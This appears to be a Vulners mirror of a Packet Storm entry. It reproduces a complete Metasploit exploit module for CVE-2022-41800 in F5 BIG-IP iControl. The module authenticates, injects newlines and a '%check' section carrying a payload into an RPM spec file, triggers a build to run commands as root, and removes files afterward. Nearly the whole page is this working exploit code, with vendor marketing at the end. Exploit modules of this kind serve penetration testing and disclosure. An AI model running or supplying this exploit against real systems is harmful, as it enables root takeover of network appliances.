Lucene search
K

F5 BIG-IP iControl Remote Command Execution

🗓️ 24 Nov 2022 00:00:00Reported by Ron Bowes, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 353 Views

F5 BIG-IP iControl Authenticated RCE via RPM Creator. Exploits newline injection into RPM .rpmspec file for remote command execution as root user

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator',  
'Description' => %q{  
This module exploits a newline injection into an RPM .rpmspec file  
that permits authenticated users to remotely execute commands.  
  
Successful exploitation results in remote code execution  
as the root user.  
},  
'Author' => [  
'Ron Bowes' # Discovery, PoC, and module  
],  
'References' => [  
['CVE', '2022-41800'],  
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],  
['URL', 'https://support.f5.com/csp/article/K97843387'],  
['URL', 'https://support.f5.com/csp/article/K13325942'],  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2022-11-16', # Vendor advisory  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => true,  
'Targets' => [  
[ 'Default', {} ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.  
'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION], # One at a time  
'SideEffects' => [  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('HttpUsername', [true, 'iControl username', 'admin']),  
OptString.new('HttpPassword', [true, 'iControl password', ''])  
]  
)  
end  
  
def exploit  
# The RPM name is based on these, so we need these to delete the RPM file after  
name = rand_text_alphanumeric(5..10)  
version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"  
release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"  
  
vprint_status('Creating an .rpmspec file on the target...')  
result = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),  
'ctype' => 'application/json',  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),  
'data' => {  
'specFileData' => {  
'name' => name,  
'srcBasePath' => '/tmp',  
'version' => version,  
'release' => release,  
# This is the injection - add newlines then a '%check' section  
'description' => "\n\n%check\n#{payload.encoded}\n",  
'summary' => rand_text_alphanumeric(5..10)  
}  
}.to_json  
})  
  
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result  
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401  
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200  
  
json = result&.get_json_document  
fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json  
  
file_path = json['specFilePath']  
fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path  
vprint_status("Created spec file: #{file_path}")  
register_file_for_cleanup(file_path)  
  
# We can also use `exit 1` in the %check function to prevent this file  
# from being created, rather than cleaning it up.. but that seems noisier?  
# Neither option gets logged so /shrug  
register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm")  
  
vprint_status('Building the RPM to trigger the payload...')  
result = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'),  
'ctype' => 'application/json',  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),  
'data' => {  
'state' => {},  
'appName' => rand_text_alphanumeric(5..10),  
'packageDirectory' => '/tmp',  
'specFilePath' => file_path  
}.to_json  
})  
fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result  
fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401  
fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation